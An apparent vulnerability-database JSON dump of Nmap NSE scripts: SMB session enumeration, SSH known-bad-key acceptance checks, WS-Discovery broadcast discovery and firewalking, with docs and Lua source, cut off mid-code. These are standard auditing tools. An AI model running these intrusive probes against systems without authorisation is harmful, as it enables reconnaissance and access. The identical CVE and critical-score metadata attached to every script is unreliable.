openhku_result['handle'], i, \"\")\n\n if(status == true) then\n local status, openkey_result\n\n local element = {}\n element['name'] = enumkey_result['name']\n\n -- To get the time the user logged in, we check the 'Volatile Environment' key\n -- This can fail with the 'guest' account due to access restrictions\n local status, openkey_result = msrpc.winreg_openkey(smbstate, openhku_result['handle'], element['name'] .. \"\\\\Volatile Environment\")\n if(status ~= false) then\n local queryinfokey_result, closekey_result\n\n -- Query the info about this key. The response will tell us when the user logged into the server.\n local status, queryinfokey_result = msrpc.winreg_queryinfokey(smbstate, openkey_result['handle'])\n if(status == false) then\n msrpc.stop_smb(smbstate)\n return false, queryinfokey_result\n end\n\n local status, closekey_result = msrpc.winreg_closekey(smbstate, openkey_result['handle'])\n if(status == false) then\n msrpc.stop_smb(smbstate)\n return false, closekey_result\n end\n\n element['changed_date'] = queryinfokey_result['last_changed_date']\n else\n -- Getting extra details failed, but we can still handle this\n element['changed_date'] = \"<unknown>\"\n end\n elements[#elements + 1] = element\n end\n\n i = i + 1\n until status ~= true\n\n local status, closekey_result = msrpc.winreg_closekey(smbstate, openhku_result['handle'])\n if(status == false) then\n msrpc.stop_smb(smbstate)\n return false, closekey_result\n end\n\n msrpc.stop_smb(smbstate)\n\n -- Start a new SMB session\n local status, smbstate = msrpc.start_smb(host, msrpc.LSA_PATH)\n if(status == false) then\n return false, smbstate\n end\n\n -- Bind to LSA service\n local status, bind_result = msrpc.bind(smbstate, msrpc.LSA_UUID, msrpc.LSA_VERSION, nil)\n if(status == false) then\n msrpc.stop_smb(smbstate)\n return false, bind_result\n end\n\n -- Get a policy handle\n local status, openpolicy2_result = msrpc.lsa_openpolicy2(smbstate, host.ip)\n if(status == false) then\n msrpc.stop_smb(smbstate)\n return false, openpolicy2_result\n end\n\n -- Convert the SID to the name of the user\n local results = {}\n stdnse.debug3(\"MSRPC: Found %d SIDs that might be logged in\", #elements)\n for i = 1, #elements, 1 do\n if(elements[i]['name'] ~= nil) then\n local sid = elements[i]['name']\n if(string.find(sid, \"^S%-\") ~= nil and string.find(sid, \"%-%d+$\") ~= nil) then\n -- The rid is the last digits before the end of the string\n local rid = string.sub(sid, string.find(sid, \"%d+$\"))\n\n local status, lookupsids2_result = msrpc.lsa_lookupsids2(smbstate, openpolicy2_result['policy_handle'], {elements[i]['name']})\n\n if(status == false) then\n -- It may not succeed, if it doesn't that's ok\n stdnse.debug3(\"MSRPC: Lookup failed\")\n else\n -- Create the result array\n local result = {}\n result['changed_date'] = elements[i]['changed_date']\n result['rid'] = rid\n\n -- Fill in the result from the response\n if(lookupsids2_result['names']['names'][1] == nil) then\n result['name'] = \"<unknown>\"\n result['type'] = \"<unknown>\"\n result['domain'] = \"\"\n else\n result['name'] = lookupsids2_result['names']['names'][1]['name']\n result['type'] = lookupsids2_result['names']['names'][1]['sid_type']\n if(lookupsids2_result['domains'] ~= nil and lookupsids2_result['domains']['domains'] ~= nil and lookupsids2_result['domains']['domains'][1] ~= nil) then\n result['domain'] = lookupsids2_result['domains']['domains'][1]['name']\n else\n result['domain'] = \"\"\n end\n end\n\n if(result['type'] ~= \"SID_NAME_WKN_GRP\") then -- Don't show \"well known\" accounts\n -- Add it to the results\n results[#results + 1] = result\n end\n end\n end\n end\n end\n\n -- Close the policy\n msrpc.lsa_close(smbstate, openpolicy2_result['policy_handle'])\n\n -- Stop the session\n msrpc.stop_smb(smbstate)\n\n return true, results\nend\n\n\naction = function(host)\n\n local response = {}\n\n -- Enumerate the logged in users\n local logged_in = {}\n local status1, users = winreg_enum_rids(host)\n if(status1 == false) then\n logged_in['warning'] = \"Couldn't enumerate login sessions: \" .. users\n else\n logged_in['name'] = \"Users logged in\"\n if(#users == 0) then\n table.insert(response, \"<nobody>\")\n else\n for i = 1, #users, 1 do\n if(users[i]['name'] ~= nil) then\n table.insert(logged_in, string.format(\"%s\\\\%s since %s\", users[i]['domain'], users[i]['name'], users[i]['changed_date']))\n end\n end\n end\n end\n table.insert(response, logged_in)\n\n -- Get the connected sessions\n local sessions_output = {}\n local status2, sessions = srvsvc_enum_sessions(host)\n if(status2 == false) then\n sessions_output['warning'] = \"Couldn't enumerate SMB sessions: \" .. sessions\n else\n sessions_output['name'] = \"Active SMB sessions\"\n if(#sessions == 0) then\n table.insert(sessions_output, \"<none>\")\n else\n -- Format the result\n for i = 1, #sessions, 1 do\n local time = sessions[i]['time']\n if(time == 0) then\n time = \"[just logged in, it's probably you]\"\n else\n time = datetime.format_time(time)\n end\n\n local idle_time = sessions[i]['idle_time']\n if(idle_time == 0) then\n idle_time = \"[not idle]\"\n else\n idle_time = datetime.format_time(idle_time)\n end\n\n table.insert(sessions_output, string.format(\"%s is connected from %s for %s, idle for %s\", sessions[i]['user'], sessions[i]['client'], time, idle_time))\n end\n end\n end\n table.insert(response, sessions_output)\n\n return stdnse.format_output(true, response)\nend\n\n\n\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:34:11", "description": "This script takes a table of paths to private keys, passphrases, and usernames and checks each pair to see if the target ssh server accepts them for publickey authentication. If no keys are given or the known-bad option is given, the script will check if a list of known static public keys are accepted for authentication.\n\n## Script Arguments \n\n#### knownbad \n\nIf specified, check if keys from publickeydb are accepted\n\n#### ssh.privatekeys \n\nTable containing filenames of privatekeys to test\n\n#### publickeydb \n\nSpecifies alternative publickeydb\n\n#### ssh.usernames \n\nTable containing usernames to check\n\n#### ssh.publickeys \n\nTable containing filenames of publickkeys to test\n\n#### ssh.passphrases \n\nTable containing passphrases for each private key\n\n## Example Usage \n\n * nmap -p 22 --script ssh-publickey-acceptance --script-args \"ssh.usernames={'root', 'user'}, ssh.privatekeys={'./id_rsa1', './id_rsa2'}\" <target>\n \n\n * nmap -p 22 --script ssh-publickey-acceptance --script-args 'ssh.usernames={\"root\", \"user\"}, publickeys={\"./id_rsa1.pub\", \"./id_rsa2.pub\"}' <target>\n \n\n## Script Output \n \n \n 22/tcp open ssh syn-ack\n | ssh-publickey-acceptance:\n | Accepted Public Keys:\n |_ Key ./id_rsa1 accepted for user root\n \n\n## Requires \n\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [base64](<../lib/base64.html>)\n * [string](<>)\n * [table](<>)\n * [io](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-06-29T21:27:35", "type": "nmap", "title": "ssh-publickey-acceptance NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2020-01-10T05:32:08", "id": "NMAP:SSH-PUBLICKEY-ACCEPTANCE.NSE", "href": "https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html", "sourceData": "local nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal base64 = require \"base64\"\nlocal string = require \"string\"\nlocal table = require \"table\"\nlocal io = require \"io\"\n\nlocal libssh2_util = require \"libssh2-utility\"\n\ndescription = [[\nThis script takes a table of paths to private keys, passphrases, and usernames\nand checks each pair to see if the target ssh server accepts them for publickey\nauthentication. If no keys are given or the known-bad option is given, the\nscript will check if a list of known static public keys are accepted for\nauthentication.\n]]\n\n---\n-- @usage\n-- nmap -p 22 --script ssh-publickey-acceptance --script-args \"ssh.usernames={'root', 'user'}, ssh.privatekeys={'./id_rsa1', './id_rsa2'}\" <target>\n--\n-- @usage\n-- nmap -p 22 --script ssh-publickey-acceptance --script-args 'ssh.usernames={\"root\", \"user\"}, publickeys={\"./id_rsa1.pub\", \"./id_rsa2.pub\"}' <target>\n--\n-- @output\n-- 22/tcp open ssh syn-ack\n-- | ssh-publickey-acceptance:\n-- | Accepted Public Keys:\n-- |_ Key ./id_rsa1 accepted for user root\n--\n-- @args ssh.privatekeys Table containing filenames of privatekeys to test\n-- @args ssh.passphrases Table containing passphrases for each private key\n-- @args ssh.publickeys Table containing filenames of publickkeys to test\n-- @args ssh.usernames Table containing usernames to check\n-- @args knownbad If specified, check if keys from publickeydb are accepted\n-- @args publickeydb Specifies alternative publickeydb\n\nauthor = \"Devin Bjelland\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"auth\", \"intrusive\"}\n\nlocal privatekeys = stdnse.get_script_args \"ssh.privatekeys\"\nlocal passphrases = stdnse.get_script_args \"ssh.passphrases\" or {}\nlocal usernames = stdnse.get_script_args \"ssh.usernames\"\nlocal knownbad = stdnse.get_script_args \"knownbad\"\nlocal publickeys = stdnse.get_script_args \"ssh.publickeys\"\nlocal publickeydb = stdnse.get_script_args \"publickeydb\" or nmap.fetchfile(\"nselib/data/publickeydb\")\nportrule = shortport.ssh\n\nfunction action (host, port)\n local result = stdnse.output_table()\n local r = {}\n local helper = libssh2_util.SSHConnection:new()\n local failures = 0\n local successes = 0\n if publickeys and usernames then\n for j = 1, #usernames do\n for i = 1, #publickeys do\n stdnse.debug(\"Checking key: \" .. publickeys[i] .. \" for user \" .. usernames[j])\n local status, result = helper:read_publickey(publickeys[i])\n if not status then\n stdnse.verbose(\"Error reading key: \" .. result)\n elseif helper:connect(host, port) then\n successes = successes + 1\n local status, err = helper:publickey_canauth(usernames[j], result)\n if status then\n table.insert(r, \"Key \" .. publickeys[i] .. \" accepted for user \" .. usernames[j])\n stdnse.verbose(\"Found accepted key: \" .. publickeys[i] .. \" for user \" .. usernames[j])\n elseif err then\n stdnse.debug(\"Error in publickey_canauth: %s\", err)\n end\n helper:disconnect()\n else\n -- Allow 3 connection attempts, then bail\n failures = failures + 1\n stdnse.debug1(\"Connect failed.\")\n if failures > 2 then\n if successes == 0 then\n -- If we haven't succeeded even once, don't report results.\n stdnse.debug1(\"Giving up.\")\n return nil\n else\n goto ACTION_END\n end\n end\n end\n end\n end\n end\n\n if knownbad or not (privatekeys or publickeys) then\n for line in io.lines(publickeydb) do\n local sections = {}\n for section in string.gmatch(line, '([^,]+)') do\n table.insert(sections, section)\n end\n local key = sections[1]\n local user = sections[2]\n local msg = sections[3]\n stdnse.debug(\"Checking key: \" .. key .. \" for user \" .. user)\n key = base64.dec(key)\n if helper:connect(host, port) then\n successes = successes + 1\n if helper:publickey_canauth(user, key) then\n table.insert(r, msg)\n stdnse.verbose(\"Found accepted key: \" .. msg)\n end\n helper:disconnect()\n else\n -- Allow 3 connection attempts, then bail\n failures = failures + 1\n stdnse.debug1(\"Connect failed.\")\n if failures > 2 then\n if successes == 0 then\n -- If we haven't succeeded even once, don't report results.\n stdnse.debug1(\"Giving up.\")\n return nil\n else\n goto ACTION_END\n end\n end\n end\n end\n end\n\n if privatekeys and usernames then\n for j = 1, #usernames do\n for i = 1, #privatekeys do\n stdnse.debug(\"Checking key: \" .. privatekeys[i] .. \" for user \" .. usernames[j])\n if helper:connect(host, port) then\n successes = successes + 1\n if not helper:publickey_auth(usernames[j], privatekeys[i], passphrases[i] or \"\") then\n stdnse.verbose \"Failed to authenticate\"\n else\n table.insert(r, \"Key \" .. privatekeys[i] .. \" accepted for user \" .. usernames[j])\n stdnse.verbose(\"Found accepted key: \" .. privatekeys[i] .. \" for user \" .. usernames[j])\n\n end\n helper:disconnect()\n else\n -- Allow 3 connection attempts, then bail\n failures = failures + 1\n stdnse.debug1(\"Connect failed.\")\n if failures > 2 then\n if successes == 0 then\n -- If we haven't succeeded even once, don't report results.\n stdnse.debug1(\"Giving up.\")\n return nil\n else\n goto ACTION_END\n end\n end\n end\n end\n end\n end\n\n ::ACTION_END::\n if #r > 0 then\n result[\"Accepted Public Keys\"] = r\n else\n result[\"Accepted Public Keys\"] = \"No public keys accepted\"\n end\n\n return result\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:46:40", "description": "Uses a multicast query to discover devices supporting the Web Services Dynamic Discovery (WS-Discovery) protocol. It also attempts to locate any published Windows Communication Framework (WCF) web services (.NET 4.0 or later).\n\n## Script Arguments \n\n#### max-newtargets, newtargets \n\nSee the documentation for the [target](<../lib/target.html#script-args>) library. \n\n## Example Usage \n \n \n sudo ./nmap --script broadcast-wsdd-discover\n \n\n## Script Output \n \n \n | broadcast-wsdd-discover:\n | Devices\n | 1.2.3.116\n | Message id: 9ea97e41-e874-faa7-fe28-deadbeefceb3\n | Address: http://1.2.3.116:50000\n | Type: Device wprt:PrintDeviceType\n | 1.2.3.131\n | Message id: 4d971368-291c-1218-30f1-deadbeefceb3\n | Address: http://1.2.3.131:5357/deadbeef-ea5c-4b9a-a68d-deadbeefceb3/\n | Type: Device pub:Computer\n | 1.2.3.110\n | Message id: f5a25a38-d61c-49e5-96c4-deadbeefceb3\n | Address: http://1.2.3.110:5357/deadbeef-469b-4da4-b413-deadbeefee90/\n | Type: Device pub:Computer\n | WCF Services\n | 1.2.3.131\n | Message id: c1767df8-43e5-4440-9e26--deadbeefceb3\n |_ Address: http://win-7:8090/discovery/scenarios/service2/deadbeef-3382-4668-86e7-deadbeefb935/\n \n \n\n## Requires \n\n * [coroutine](<>)\n * [nmap](<../lib/nmap.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [table](<>)\n * [wsdd](<../lib/wsdd.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2010-11-10T22:35:13", "type": "nmap", "title": "broadcast-wsdd-discover NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2015-11-05T20:41:05", "id": "NMAP:BROADCAST-WSDD-DISCOVER.NSE", "href": "https://nmap.org/nsedoc/scripts/broadcast-wsdd-discover.html", "sourceData": "local coroutine = require \"coroutine\"\nlocal nmap = require \"nmap\"\nlocal stdnse = require \"stdnse\"\nlocal table = require \"table\"\nlocal wsdd = require \"wsdd\"\n\ndescription = [[\nUses a multicast query to discover devices supporting the Web Services\nDynamic Discovery (WS-Discovery) protocol. It also attempts to locate\nany published Windows Communication Framework (WCF) web services (.NET\n4.0 or later).\n]]\n\n---\n-- @usage\n-- sudo ./nmap --script broadcast-wsdd-discover\n--\n-- @output\n-- | broadcast-wsdd-discover:\n-- | Devices\n-- | 1.2.3.116\n-- | Message id: 9ea97e41-e874-faa7-fe28-deadbeefceb3\n-- | Address: http://1.2.3.116:50000\n-- | Type: Device wprt:PrintDeviceType\n-- | 1.2.3.131\n-- | Message id: 4d971368-291c-1218-30f1-deadbeefceb3\n-- | Address: http://1.2.3.131:5357/deadbeef-ea5c-4b9a-a68d-deadbeefceb3/\n-- | Type: Device pub:Computer\n-- | 1.2.3.110\n-- | Message id: f5a25a38-d61c-49e5-96c4-deadbeefceb3\n-- | Address: http://1.2.3.110:5357/deadbeef-469b-4da4-b413-deadbeefee90/\n-- | Type: Device pub:Computer\n-- | WCF Services\n-- | 1.2.3.131\n-- | Message id: c1767df8-43e5-4440-9e26--deadbeefceb3\n-- |_ Address: http://win-7:8090/discovery/scenarios/service2/deadbeef-3382-4668-86e7-deadbeefb935/\n--\n--\n\n--\n-- Version 0.1\n-- Created 10/31/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>\n\nauthor = \"Patrik Karlsson\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"broadcast\", \"safe\"}\n\n\nprerule = function() return true end\n\n-- function used for running several discovery threads in parallel\n--\n-- @param funcname string containing the name of the function to run\n-- the name should be one of the discovery functions in wsdd.Helper\n-- @param result table into which the results are stored\ndiscoverThread = function( funcname, results )\n -- calculates a timeout based on the timing template (default: 5s)\n local timeout = ( 20000 / ( nmap.timing_level() + 1 ) )\n local condvar = nmap.condvar( results )\n local helper = wsdd.Helper:new()\n helper:setMulticast(true)\n helper:setTimeout(timeout)\n\n local status, result = helper[funcname](helper)\n if ( status ) then table.insert(results, result) end\n condvar(\"broadcast\")\nend\n\nlocal function sortfunc(a,b)\n if ( a and b and a.name and b.name ) and ( a.name < b.name ) then\n return true\n end\n return false\nend\n\naction = function()\n\n local threads, results = {}, {}\n local condvar = nmap.condvar( results )\n\n -- Attempt to discover both devices and WCF web services\n for _, f in ipairs( {\"discoverDevices\", \"discoverWCFServices\"} ) do\n threads[stdnse.new_thread( discoverThread, f, results )] = true\n end\n\n local done\n -- wait for all threads to finish\n while( not(done) ) do\n done = true\n for thread in pairs(threads) do\n if (coroutine.status(thread) ~= \"dead\") then done = false end\n end\n if ( not(done) ) then\n condvar(\"wait\")\n end\n end\n\n if ( results ) then\n table.sort( results, sortfunc )\n return stdnse.format_output(true, results)\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:45:25", "description": "Tries to discover firewall rules using an IP TTL expiration technique known as firewalking. \n\nTo determine a rule on a given gateway, the scanner sends a probe to a metric located behind the gateway, with a TTL one higher than the gateway. If the probe is forwarded by the gateway, then we can expect to receive an ICMP_TIME_EXCEEDED reply from the gateway next hop router, or eventually the metric itself if it is directly connected to the gateway. Otherwise, the probe will timeout. \n\nIt starts with a TTL equals to the distance to the target. If the probe timeout, then it is resent with a TTL decreased by one. If we get an ICMP_TIME_EXCEEDED, then the scan is over for this probe. \n\nEvery \"no-reply\" filtered TCP and UDP ports are probed. As for UDP scans, this process can be quite slow if lots of ports are blocked by a gateway close to the scanner. \n\nScan parameters can be controlled using the `firewalk.*` optional arguments. \n\nFrom an original idea of M. Schiffman and D. Goldsmith, authors of the firewalk tool.\n\n## Script Arguments \n\n#### firewalk.max-probed-ports \n\nmaximum number of ports to probe per protocol. Set to -1 to scan every filtered port.\n\n#### firewalk.max-retries \n\nthe maximum number of allowed retransmissions.\n\n#### firewalk.recv-timeout \n\nthe duration of the packets capture loop (in milliseconds).\n\n#### firewalk.max-active-probes \n\nmaximum number of parallel active probes.\n\n#### firewalk.probe-timeout \n\nvalidity period of a probe (in milliseconds).\n\n## Example Usage \n\n * nmap --script=firewalk --traceroute <host>\n \n\n * nmap --script=firewalk --traceroute --script-args=firewalk.max-retries=1 <host>\n \n\n * nmap --script=firewalk --traceroute --script-args=firewalk.probe-timeout=400ms <host>\n \n\n * nmap --script=firewalk --traceroute --script-args=firewalk.max-probed-ports=7 <host>\n \n \n\n## Script Output \n \n \n | firewalk:\n | HOP HOST PROTOCOL BLOCKED PORTS\n | 2 192.168.1.1 tcp 21-23,80\n | udp 21-23,80\n | 6 10.0.1.1 tcp 67-68\n | 7 10.0.1.254 tcp 25\n |_ udp 25\n \n \n\n## Requires \n\n * [ipOps](<../lib/ipOps.html>)\n * [math](<>)\n * [nmap](<../lib/nmap.html>)\n * [packet](<../lib/packet.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [tab](<../lib/tab.html>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2010-11-29T19:16:49", "type": "nmap", "title": "firewalk NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-10-18T01:08:19", "id": "NMAP:FIREWALK.NSE", "href": "https://nmap.org/nsedoc/scripts/firewalk.html", "sourceData": "local ipOps = require \"ipOps\"\nlocal math = require \"math\"\nlocal nmap = require \"nmap\"\nlocal packet = require \"packet\"\nlocal stdnse = require \"stdnse\"\nlocal tab = require \"tab\"\nlocal table = require \"table\"\n\ndescription = [[\nTries to discover firewall rules using an IP TTL expiration technique known\nas firewalking.\n\nTo determine a rule on a given gateway, the scanner sends a probe to a metric\nlocated behind the gateway, with a TTL one higher than the gateway. If the probe\nis forwarded by the gateway, then we can expect to receive an ICMP_TIME_EXCEEDED\nreply from the gateway next hop router, or eventually the metric itself if it is\ndirectly connected to the gateway. Otherwise, the probe will timeout.\n\nIt starts with a TTL equals to the distance to the target. If the probe timeout,\nthen it is resent with a TTL decreased by one. If we get an ICMP_TIME_EXCEEDED,\nthen the scan is over for this probe.\n\nEvery \"no-reply\" filtered TCP and UDP ports are probed. As for UDP scans, this\nprocess can be quite slow if lots of ports are blocked by a gateway close to the\nscanner.\n\nScan parameters can be controlled using the <code>firewalk.*</code>\noptional arguments.\n\nFrom an original idea of M. Schiffman and D. Goldsmith, authors of the\nfirewalk tool.\n]]\n\n\n---\n-- @usage\n-- nmap --script=firewalk --traceroute <host>\n--\n-- @usage\n-- nmap --script=firewalk --traceroute --script-args=firewalk.max-retries=1 <host>\n--\n-- @usage\n-- nmap --script=firewalk --traceroute --script-args=firewalk.probe-timeout=400ms <host>\n--\n-- @usage\n-- nmap --script=firewalk --traceroute --script-args=firewalk.max-probed-ports=7 <host>\n--\n--\n-- @args firewalk.max-retries the maximum number of allowed retransmissions.\n-- @args firewalk.recv-timeout the duration of the packets capture loop (in milliseconds).\n-- @args firewalk.probe-timeout validity period of a probe (in milliseconds).\n-- @args firewalk.max-active-probes maximum number of parallel active probes.\n-- @args firewalk.max-probed-ports maximum number of ports to probe per protocol. Set to -1 to scan every filtered port.\n--\n--\n-- @output\n-- | firewalk:\n-- | HOP HOST PROTOCOL BLOCKED PORTS\n-- | 2 192.168.1.1 tcp 21-23,80\n-- | udp 21-23,80\n-- | 6 10.0.1.1 tcp 67-68\n-- | 7 10.0.1.254 tcp 25\n-- |_ udp 25\n--\n--\n\n\n-- 11/29/2010: initial version\n-- 03/28/2011: added IPv4 check\n-- 01/02/2012: added IPv6 support\n\nauthor = \"Henri Doreau\"\n\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\n\ncategories = {\"safe\", \"discovery\"}\n\n\n-- TODO\n-- o add an option to select gateway(s)/TTL(s) to probe\n-- o remove traceroute dependency\n\n\n\n\n-----= scan parameters defaults =-----\n\n-- number of retries for unanswered probes\nlocal DEFAULT_MAX_RETRIES = 2\n\n-- packets capture loop timeout in milliseconds\nlocal DEFAULT_RECV_TIMEOUT = 20\n\n-- probe life time in milliseconds\nlocal DEFAULT_PROBE_TIMEOUT = 2000\n\n-- max number of simultaneously neither replied nor timed out probes\nlocal DEFAULT_MAX_ACTIVE_PROBES = 20\n\n-- maximum number of probed ports per protocol\nlocal DEFAULT_MAX_PROBED_PORTS = 10\n\n----------------------------------------\n\n\n\n-- global scan parameters\nlocal MaxRetries\nlocal RecvTimeout\nlocal ProbeTimeout\nlocal MaxActiveProbes\nlocal MaxProbedPorts\n\n-- cache ports to probe between the hostrule and the action function\nlocal FirewalkPorts\n\n\n-- ICMP constants\nlocal ICMP_TIME_EXCEEDEDv4 = 11\nlocal ICMP_TIME_EXCEEDEDv6 = 03\n\n\n\n-- Layer 4 specific function tables\nlocal proto_vtable = {}\n\n-- Layer 3 specific function tables for the scanner\nlocal Firewalk = {}\n\n\n--- lookup for TTL of a given gateway in a traceroute results table\n-- @param traceroute a host traceroute results table\n-- @param gw the IP address of the gateway (as a decimal-dotted string)\n-- @return the TTL of the gateway or -1 on error\nlocal function gateway_ttl(traceroute, gw)\n\n for ttl, hop in ipairs(traceroute) do\n -- check hop.ip ~= nil as timedout hops are represented by empty tables\n if hop.ip and hop.ip == gw then\n return ttl\n end\n end\n\n return -1\nend\n\n--- get the protocol name given its \"packet\" value\n-- @param proto the protocol value (eg. packet.IPPROTO_*)\n-- @return the protocol name as a string\nlocal function proto2str(proto)\n\n if proto == packet.IPPROTO_TCP then\n return \"tcp\"\n elseif proto == packet.IPPROTO_UDP then\n return \"udp\"\n end\n\n return nil\nend\n\n\n--=\n-- Protocol specific functions are broken down per protocol, in separate tables.\n-- This design eases the addition of new protocols.\n--\n-- Layer 4 (TCP, UDP) tables are duplicated to distinguish IPv4 and IPv6\n-- versions.\n--=\n\n--- TCP related functions (IPv4 versions)\nlocal tcp_funcs_v4 = {\n\n --- update the global scan status with a reply\n -- @param scanner the scanner handle\n -- @param ip the ICMP time exceeded error packet\n -- @param ip2 the ICMP payload (our original expired probe)\n update_scan = function(scanner, ip, ip2)\n\n local port = ip2.tcp_dport\n\n if port and scanner.ports.tcp[port] then\n\n stdnse.debug1(\"Marking port %d/tcp v4 as forwarded (reply from %s)\", ip2.tcp_dport, ip.ip_src)\n\n -- mark the gateway as forwarding the packet\n scanner.ports.tcp[port].final_ttl = gateway_ttl(scanner.target.traceroute, ip.ip_src)\n scanner.ports.tcp[port].scanned = true\n\n -- remove the related probe\n for i, probe in ipairs(scanner.active_probes) do\n if probe.proto == \"tcp\" and probe.portno == ip2.tcp_dport then\n table.remove(scanner.active_probes, i)\n end\n end\n\n else\n stdnse.debug1(\"Invalid reply to port %d/tcp\", ip2.tcp_dport)\n end\n end,\n\n --- create a TCP probe packet\n -- @param host Host object that represents the destination\n -- @param dport the TCP destination port\n -- @param ttl the IP time to live\n -- @return the newly crafted IP packet\n getprobe = function(host, dport, ttl)\n local pktbin = stdnse.fromhex(\n \"4500 0014 0000 4000 8000 0000 0000 0000 0000 0000\" ..\n \"0000 0000 0000 0000 0000 0000 6002 0c00 0000 0000 0204 05b4\"\n )\n\n local ip = packet.Packet:new(pktbin, pktbin:len())\n\n ip:tcp_parse(false)\n ip:ip_set_bin_src(host.bin_ip_src)\n ip:ip_set_bin_dst(host.bin_ip)\n\n ip:set_u8(ip.ip_offset + 9, packet.IPPROTO_TCP)\n ip.ip_p = packet.IPPROTO_TCP\n ip:ip_set_len(pktbin:len())\n\n ip:tcp_set_sport(math.random(0x401, 0xffff))\n ip:tcp_set_dport(dport)\n ip:tcp_set_seq(math.random(1, 0x7fffffff))\n ip:tcp_count_checksum()\n ip:ip_set_ttl(ttl)\n ip:ip_count_checksum()\n\n return ip\n end,\n\n}\n\n-- UDP related functions (IPv4 versions)\nlocal udp_funcs_v4 = {\n\n --- update the global scan status with a reply\n -- @param scanner the scanner handle\n -- @param ip the ICMP time exceeded error packet\n -- @param ip2 the ICMP payload (our original expired probe)\n update_scan = function(scanner, ip, ip2)\n\n local port = ip2.udp_dport\n\n if port and scanner.ports.udp[port] then\n\n stdnse.debug1(\"Marking port %d/udp v4 as forwarded\", ip2.udp_dport)\n\n -- mark the gateway as forwarding the packet\n scanner.ports.udp[port].final_ttl = gateway_ttl(scanner.target.traceroute, ip.ip_src)\n scanner.ports.udp[port].scanned = true\n\n for i, probe in ipairs(scanner.active_probes) do\n if probe.proto == \"udp\" and probe.portno == ip2.udp_dport then\n table.remove(scanner.active_probes, i)\n end\n end\n\n else\n stdnse.debug1(\"Invalid reply to port %d/udp\", ip2.udp_dport)\n end\n\n end,\n\n --- create a generic UDP probe packet, with IP ttl and destination port set to zero\n -- @param host Host object that represents the destination\n -- @param dport the UDP destination port\n -- @param ttl the IP time to live\n -- @return the newly crafted IP packet\n getprobe = function(host, dport, ttl)\n local pktbin = stdnse.fromhex(\n \"4500 0014 0000 4000 8000 0000 0000 0000 0000 0000\" ..\n \"0000 0000 0800 0000\"\n )\n\n local ip = packet.Packet:new(pktbin, pktbin:len())\n\n ip:udp_parse(false)\n ip:ip_set_bin_src(host.bin_ip_src)\n 